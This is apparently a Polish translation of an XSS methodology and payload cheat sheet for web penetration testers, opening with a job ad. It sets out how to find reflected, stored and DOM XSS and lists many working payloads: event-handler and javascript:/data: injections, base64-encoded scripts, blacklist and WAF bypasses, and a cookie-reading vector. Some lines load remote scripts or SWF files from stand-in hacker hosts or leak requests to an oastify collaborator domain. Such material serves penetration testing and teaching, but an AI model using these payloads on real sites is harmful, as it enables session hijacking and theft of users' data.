XSS (Cross Site Scripting)

Jeśli interesuje Cię kariera w dziedzinie hakowania i hakowanie rzeczy niemożliwych do zhakowania - zatrudniamy! (wymagana biegła znajomość języka polskiego w mowie i piśmie).

Metodologia

  1. Sprawdź, czy jakakolwiek wartość, którą kontrolujesz (parametry, ścieżka, nagłówki?, ciasteczka?) jest odbijana w HTML lub używana przez kod JS.

  2. Znajdź kontekst, w którym jest odbijana/używana.

  3. Jeśli jest odbijana

  4. Sprawdź, jakie symbole możesz użyć i w zależności od tego przygotuj ładunek:

  5. W surowym HTML:

  6. Czy możesz tworzyć nowe tagi HTML?

  7. Czy możesz używać zdarzeń lub atrybutów obsługujących protokół javascript:?

  8. Czy możesz ominąć zabezpieczenia?

  9. Czy zawartość HTML jest interpretowana przez jakikolwiek silnik JS po stronie klienta (AngularJS, VueJS, Mavo...), możesz wykorzystać Wstrzyknięcie Szablonu Po Stronie Klienta.

  10. Jeśli nie możesz tworzyć tagów HTML wykonujących kod JS, czy możesz wykorzystać Zawieszone Znaczniki - Wstrzyknięcie HTML bez skryptów?

  11. Wewnątrz tagu HTML:

  12. Czy możesz wyjść do kontekstu surowego HTML?

  13. Czy możesz tworzyć nowe zdarzenia/cechy do wykonania kodu JS?

  14. Czy atrybut, w którym utknąłeś, obsługuje wykonanie JS?

  15. Czy możesz ominąć zabezpieczenia?

  16. Wewnątrz kodu JavaScript:

  17. Czy możesz uniknąć tagu <script>?

  18. Czy możesz uniknąć ciągu znaków i wykonać inny kod JS?

  19. Czy twoje dane wejściowe są w literałach szablonu ``?

  20. Czy możesz ominąć zabezpieczenia?

  21. Funkcja JavaScript jest wykonywana

  22. Możesz wskazać nazwę funkcji do wykonania, np.: ?callback=alert(1)

  23. Jeśli jest używana:

  24. Możesz wykorzystać DOM XSS, zwróć uwagę, jak twoje dane wejściowe są kontrolowane i czy twoje kontrolowane dane wejściowe są używane przez jakikolwiek zbiornik.

Pracując nad złożonym XSS, może być interesujące wiedzieć o:

pageDebugging Client Side JS

Odbijane wartości

Aby pomyślnie wykorzystać XSS, pierwszą rzeczą, którą musisz znaleźć, jest wartość kontrolowana przez ciebie, która jest odbijana na stronie internetowej.

  • Odbijane pośrednio: Jeśli odkryjesz, że wartość parametru lub nawet ścieżki jest odbijana na stronie internetowej, możesz wykorzystać Odbijane XSS.

  • Zapisane i odbijane: Jeśli odkryjesz, że wartość kontrolowana przez ciebie jest zapisywana na serwerze i jest odbijana za każdym razem, gdy odwiedzasz stronę, możesz wykorzystać Zapisane XSS.

  • Dostępne za pomocą JS: Jeśli odkryjesz, że wartość kontrolowana przez ciebie jest używana za pomocą JS, możesz wykorzystać DOM XSS.

Konteksty

Próbując wykorzystać XSS, pierwszą rzeczą, którą musisz wiedzieć, jest gdzie jest odbijane twoje dane wejściowe. W zależności od kontekstu będziesz mógł wykonać dowolny kod JS na różne sposoby.

Surowe HTML

Jeśli twoje dane wejściowe są odbijane na surowej stronie HTML, będziesz musiał wykorzystać jakiś tag HTML, aby wykonać kod JS: <img , <iframe , <svg , <script ... to tylko kilka z wielu możliwych tagów HTML, których możesz użyć. Pamiętaj również o Wstrzyknięciu Szablonu Po Stronie Klienta.

Wewnątrz atrybutu tagu HTML

Jeśli twoje dane wejściowe są odbijane wewnątrz wartości atrybutu tagu, możesz spróbować:

  1. Uciec z atrybutu i z tagu (wtedy będziesz w surowym HTML) i utworzyć nowy tag HTML do wykorzystania: "><img [...]

  2. Jeśli możesz uciec z atrybutu, ale nie z tagu (> jest zakodowane lub usunięte), w zależności od tagu możesz utworzyć zdarzenie, które wykonuje kod JS: " autofocus onfocus=alert(1) x="

  3. Jeśli nie możesz uciec z atrybutu (" jest zakodowane lub usunięte), w zależności od którego atrybutu twoje dane są odbijane czy kontrolujesz całą wartość czy tylko jej część, będziesz mógł to wykorzystać. Na przykład, jeśli kontrolujesz zdarzenie jak onclick=, będziesz mógł sprawić, żeby wykonywało arbitralny kod po kliknięciu. Innym interesującym przykładem jest atrybut href, gdzie możesz użyć protokołu javascript: do wykonania arbitralnego kodu: href="javascript:alert(1)"

  4. Jeśli twoje dane wejściowe są odbijane wewnątrz "nieeksploatowalnych tagów", możesz spróbować sztuczki z accesskey, aby wykorzystać lukę (będziesz potrzebował jakiegoś rodzaju inżyniera społecznego, aby to wykorzystać): " accesskey="x" onclick="alert(1)" x="

Dziwny przykład Angular wykonujący XSS, jeśli kontrolujesz nazwę klasy:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Wewnątrz kodu JavaScript

W tym przypadku twój input jest odbijany pomiędzy tagami <script> [...] </script> na stronie HTML, wewnątrz pliku .js lub w atrybucie używającym protokołu javascript::

  • Jeśli jest odbijany pomiędzy tagami <script> [...] </script>, nawet jeśli twój input znajduje się w jakimkolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć </script> i uciec z tego kontekstu. Działa to dlatego, że przeglądarka najpierw analizuje tagi HTML, a następnie zawartość, dlatego nie zauważy, że twój wstrzyknięty tag </script> znajduje się w kodzie HTML.

  • Jeśli jest odbijany wewnątrz łańcucha JS i poprzedni trik nie działa, będziesz musiał wyjść z łańcucha, wykonać swój kod i zrekonstruować kod JS (jeśli wystąpi błąd, nie zostanie wykonany):

    • '-alert(1)-'

    • ';-alert(1)//

    • \';alert(1)//

  • Jeśli jest odbijany wewnątrz literałów szablonu, możesz osadzać wyrażenia JS używając składni ${ ... }: var greetings = `Hello, ${alert(1)}`

  • Kodowanie Unicode działa, aby napisać poprawny kod JavaScript:

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Podnoszenie Javascript

Podnoszenie Javascript odnosi się do możliwości deklarowania funkcji, zmiennych lub klas po ich użyciu, dzięki czemu można wykorzystać sytuacje, w których atak XSS wykorzystuje niewywołane zmienne lub funkcje. Sprawdź następującą stronę, aby uzyskać więcej informacji:

pageJS Hoisting

Funkcja Javascript

Wiele stron internetowych ma punkty końcowe, które przyjmują jako parametr nazwę funkcji do wykonania. Powszechnym przykładem, który można zobaczyć w środowisku produkcyjnym, jest coś w rodzaju: ?callback=callbackFunc.

Dobrym sposobem sprawdzenia, czy coś podanego bezpośrednio przez użytkownika próbuje być wykonane, jest zmiana wartości parametru (na przykład na 'Vulnerable') i sprawdzenie konsoli pod kątem błędów, takich jak:

W przypadku, gdy jest podatne na atak, możesz wywołać alert wysyłając wartość: ?callback=alert(1). Jednakże, bardzo często te punkty końcowe będą sprawdzać zawartość, aby zezwolić tylko na litery, cyfry, kropki i podkreślenia ([\w\._]).

Mimo tych ograniczeń nadal można wykonać pewne działania. Jest to możliwe, ponieważ można użyć tych prawidłowych znaków do uzyskania dostępu do dowolnego elementu w DOM:

Niektóre przydatne funkcje do tego:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Możesz również spróbować wywołać funkcje Javascript bezpośrednio: obj.sales.delOrders.

Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję są punktami końcowymi bez zbyt interesującego DOM, inne strony w tej samej domenie będą miały bardziej interesujący DOM do wykonania większej liczby działań.

Dlatego, aby wykorzystać tę podatność w innym DOM, opracowano eksploatację Same Origin Method Execution (SOME):

pageSOME - Same Origin Method Execution

DOM

Istnieje kod JS, który niebezpiecznie korzysta z pewnych danych kontrolowanych przez atakującego, takich jak location.href. Atakujący mógłby wykorzystać to do wykonania dowolnego kodu JS.

pageDOM XSS

Uniwersalne XSS

Ten rodzaj XSS można znaleźć wszędzie. Nie zależą one tylko od eksploatacji klienta aplikacji internetowej, ale od dowolnego kontekstu. Ten rodzaj wykonywania dowolnego kodu JavaScript może nawet być wykorzystany do uzyskania RCE, odczytu dowolnych plików na klientach i serwerach, i więcej. Kilka przykładów:

pageServer Side XSS (Dynamic PDF)pageElectron Desktop Apps

Obchodzenie WAF kodowanie obrazu

Wstrzykiwanie w surowy HTML

Gdy twój input jest odbijany wewnątrz strony HTML lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, pierwszą rzeczą, którą musisz zrobić, to sprawdzić, czy możesz wykorzystać < do utworzenia nowych tagów: Po prostu spróbuj odbij ten znak i sprawdź, czy jest on kodowany HTML lub usuwany lub czy jest odbijany bez zmian. Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek. W tych przypadkach również pamiętaj o Wstrzykiwaniu Szablonów Po Stronie Klienta. Uwaga: Komentarz HTML można zamknąć używając**** --> lub ****--!>

W tym przypadku, jeśli nie jest używane czarne/białe listowanie, można użyć payloadów takich jak:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

Jednak jeśli jest używane filtrowanie tagów/cechowania na czarną/białą listę, będziesz musiał przeprowadzić atak siłowy na tagi, które możesz stworzyć. Gdy już znajdziesz dozwolone tagi, będziesz musiał przeprowadzić atak siłowy na cechy/zdarzenia w znalezionych poprawnych tagach, aby zobaczyć, jak możesz zaatakować kontekst.

Atak siłowy na tagi/zdarzenia

Przejdź do https://portswigger.net/web-security/cross-site-scripting/cheat-sheet i kliknij Skopiuj tagi do schowka. Następnie prześlij je wszystkie za pomocą narzędzia Burp Intruder i sprawdź, czy jakiekolwiek tagi nie zostały uznane za złośliwe przez WAF. Gdy już odkryjesz, które tagi możesz użyć, możesz przeprowadzić atak siłowy na wszystkie zdarzenia za pomocą poprawnych tagów (na tej samej stronie internetowej kliknij Skopiuj zdarzenia do schowka i postępuj tak samo jak wcześniej).

Tagi niestandardowe

Jeśli nie znalazłeś żadnego poprawnego tagu HTML, możesz spróbować stworzyć tag niestandardowy i wykonać kod JS za pomocą atrybutu onfocus. W żądaniu XSS musisz zakończyć adres URL znakiem #, aby strona skupiła się na tym obiekcie i wykonała kod:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Ominięcie czarnej listy

Jeśli jest używana jakaś forma czarnej listy, możesz spróbować ją ominąć za pomocą kilku głupich sztuczek:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Długościowy bypass (małe XSSy)

Więcej małych XSSów dla różnych środowisk payload można znaleźć tutaj oraz tutaj.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

Ostatni z nich używa 2 znaków Unicode, które rozszerzają się do 5: telsr Więcej takich znaków można znaleźć tutaj. Aby sprawdzić, w jakie znaki są rozkładane, sprawdź tutaj.

Click XSS - Clickjacking

Jeśli do wykorzystania podatności potrzebujesz, aby użytkownik kliknął link lub formularz z wstępnie wypełnionymi danymi, możesz spróbować wykorzystać Clickjacking (jeśli strona jest podatna).

Niemożliwe - Dangling Markup

Jeśli uważasz, że niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS, powinieneś sprawdzić Danglig Markup, ponieważ możesz wykorzystać podatność bez wykonania kodu JS.

Wstrzykiwanie wewnątrz tagu HTML

Wewnątrz tagu/ucieczka z wartości atrybutu

Jeśli jesteś wewnątrz tagu HTML, pierwszą rzeczą, którą możesz spróbować, jest ucieczka z tagu i użycie niektórych technik wymienionych w poprzednim rozdziale do wykonania kodu JS. Jeśli nie możesz uciec z tagu, możesz utworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając pewnego ładunku, jak (zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będą one potrzebne, jeśli twoje dane wejściowe są odzwierciedlane bezpośrednio wewnątrz tagu):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Zdarzenia stylu

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

W atrybucie

Nawet jeśli nie możesz uciec od atrybutu (" jest kodowane lub usuwane), w zależności od którego atrybutu twoja wartość jest odzwierciedlana, jeśli kontrolujesz całą wartość lub tylko jej część, będziesz mógł ją nadużyć. Na przykład, jeśli kontrolujesz zdarzenie takie jak onclick=, będziesz mógł sprawić, że wykonuje dowolny kod po kliknięciu. Innym interesującym przykładem jest atrybut href, gdzie można użyć protokołu javascript: do wykonania dowolnego kodu: href="javascript:alert(1)"

Ominięcie wewnątrz zdarzenia za pomocą kodowania HTML/kodowania URL

Zakodowane znaki HTML wewnątrz wartości atrybutów tagów HTML są dekodowane w czasie wykonania. Dlatego coś takiego jak poniżej będzie poprawne (payload jest wytłuszczony): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Wróć </a>

Zauważ, że każdy rodzaj kodowania HTML jest poprawny:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Należy pamiętać, że kodowanie adresów URL również będzie działać:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Ominięcie zdarzenia wewnętrznego za pomocą kodowania Unicode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Specjalne protokoły wewnątrz atrybutu

W niektórych miejscach można użyć protokołów javascript: lub data: do wykonania arbitralnego kodu JS. Wymaga to interakcji użytkownika w niektórych przypadkach, a w innych nie.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Miejsca, w których można wstrzyknąć te protokoły

Ogólnie protokół javascript: można użyć w dowolnym tagu akceptującym atrybut href oraz w większości tagów akceptujących atrybut src (ale nie w <img)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Inne sztuczki obfuskacji

W tym przypadku kodowanie HTML i sztuczka kodowania Unicode z poprzedniej sekcji są również ważne, ponieważ znajdujesz się w atrybucie.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Ponadto istnieje inny fajny trik dla tych przypadków: Nawet jeśli twój wejście wewnątrz javascript:... jest kodowane URL, zostanie ono zdekodowane przed wykonaniem. Więc jeśli musisz wyjść ze stringa używając pojedynczego cudzysłowu i widzisz, że jest kodowane URL, pamiętaj, że to nie ma znaczenia, zostanie to zinterpretowane jako pojedynczy cudzysłów podczas wykonywania.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Zauważ, że jeśli spróbujesz użyć zarówno URLencode + HTMLencode w dowolnej kolejności, aby zakodować payload, to nie zadziała, ale możesz mieszać je wewnątrz payloadu.

Używanie kodowania szesnastkowego i ósemkowego z javascript:

Możesz użyć kodowania szesnastkowego i kodowania ósemkowego wewnątrz atrybutu src elementu iframe (przynajmniej), aby zadeklarować tagi HTML do wykonania JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Odwrócone wyłudzanie danych z karty (Reverse tab nabbing)

<a target="_blank" rel="opener"

Jeśli możesz wstrzyknąć dowolny adres URL w arbitralny tag <a href= zawierający atrybuty target="_blank" i rel="opener", sprawdź następującą stronę, aby wykorzystać to zachowanie:

pageReverse Tab Nabbing

na Pomijanie Obsługi Zdarzeń

Po pierwsze sprawdź tę stronę (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) w poszukiwaniu przydatnych "on" event handlers. W przypadku, gdy istnieje jakaś czarna lista uniemożliwiająca tworzenie tych obsług zdarzeń, możesz spróbować następujących obejść:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Z tutaj teraz możliwe jest nadużycie ukrytych pól wejściowych za pomocą:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

A w meta tagach:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Z tutaj: Możesz wykonać XSS payload wewnątrz atrybutu ukrytego, pod warunkiem, że przekonasz ofiarę do naciśnięcia kombinacji klawiszy. W przeglądarce Firefox Windows/Linux kombinacja klawiszy to ALT+SHIFT+X, a w systemie OS X to CTRL+ALT+X. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie klucza dostępu. Oto wektor:

<input type="hidden" accesskey="X" onclick="alert(1)">

Payload XSS będzie wyglądać mniej więcej tak: " accesskey="x" onclick="alert(1)" x="

Ominięcie czarnej listy

W tej sekcji już przedstawiono kilka sztuczek z użyciem różnych kodowań. Wróć, aby dowiedzieć się, gdzie możesz użyć:

  • Kodowania HTML (tagi HTML)

  • Kodowania Unicode (może być poprawnym kodem JS): \u0061lert(1)

  • Kodowania URL

  • Kodowania szesnastkowego i ósemkowego

  • Kodowania danych

Ominięcia dla tagów i atrybutów HTML

Przeczytaj Ominięcia czarnej listy z poprzedniej sekcji.

Ominięcia dla kodu JavaScript

Przeczytaj Ominięcia czarnej listy JavaScript z następnej sekcji.

Gadżety CSS

Jeśli znalazłeś XSS w bardzo małej części strony internetowej, która wymaga pewnego rodzaju interakcji (może to być mały link w stopce z elementem onmouseover), możesz spróbować zmodyfikować przestrzeń, którą zajmuje ten element, aby zwiększyć szanse na wywołanie linku.

Na przykład, możesz dodać pewne style do elementu, takie jak: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Jeśli jednak WAF filtrowanie atrybutu stylu, możesz użyć Gadżetów Stylowania CSS, więc jeśli znajdziesz, na przykład

.test {display:block; color: blue; width: 100%}

i

#someid {top: 0; font-family: Tahoma;}

Teraz możesz zmodyfikować nasz link i przekształcić go w formę

<a href="" id=someid class=test onclick=alert() a="">

Ten trik został zaczerpnięty z https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Wstrzykiwanie wewnątrz kodu JavaScript

W tych przypadkach twój input będzie odzwierciedlany wewnątrz kodu JS pliku .js lub między tagami <script>...</script> lub między zdarzeniami HTML, które mogą wykonać kod JS lub między atrybutami akceptującymi protokół javascript:.

Ucieczka przed tagiem <script>

Jeśli twój kod jest wstawiony między <script> [...] var input = 'reflected data' [...] </script>, możesz łatwo uciec zamykając tag <script>:

</script><img src=1 onerror=alert(document.domain)>

Zauważ, że w tym przykładzie nawet nie zamknęliśmy pojedynczego cudzysłowu. Dzieje się tak dlatego, że przeglądarka najpierw wykonuje analizę HTML, która polega na identyfikowaniu elementów strony, w tym bloków skryptów. Analiza JavaScriptu w celu zrozumienia i wykonania osadzonych skryptów jest przeprowadzana dopiero później.

Wewnątrz kodu JS

Jeśli <> są oczyszczane, nadal możesz uśmiercić ciąg znaków tam, gdzie znajduje się twoje dane wejściowe i wykonać dowolny kod JS. Ważne jest, aby poprawić składnię JS, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Szablony literałów ``

Aby skonstruować ciągi znaków oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również backticks `` . Jest to znane jako szablony literałów, ponieważ pozwalają one na osadzanie wyrażeń JS za pomocą składni ${ ... } . Dlatego jeśli zauważysz, że wprowadzone dane są odzwierciedlane wewnątrz ciągu znaków JS, który używa backticks, możesz nadużyć składni ${ ... } do wykonania dowolnego kodu JS:

Można to wykorzystać używając:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

Wykonanie zakodowanego kodu

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Kodowanie Unicode wykonania JS

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Techniki omijania czarnych list w JavaScript

Ciągi znaków

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Specjalne ucieczki

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

Zastępowanie spacji wewnątrz kodu JS

<TAB>
/**/

Komentarze JavaScript (z triku Komentarze JavaScript )

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

Nowe linie JavaScript (z sztuczka nowej linii w JavaScript )

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

Białe znaki w JavaScript

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript wewnątrz komentarza

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript bez nawiasów

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead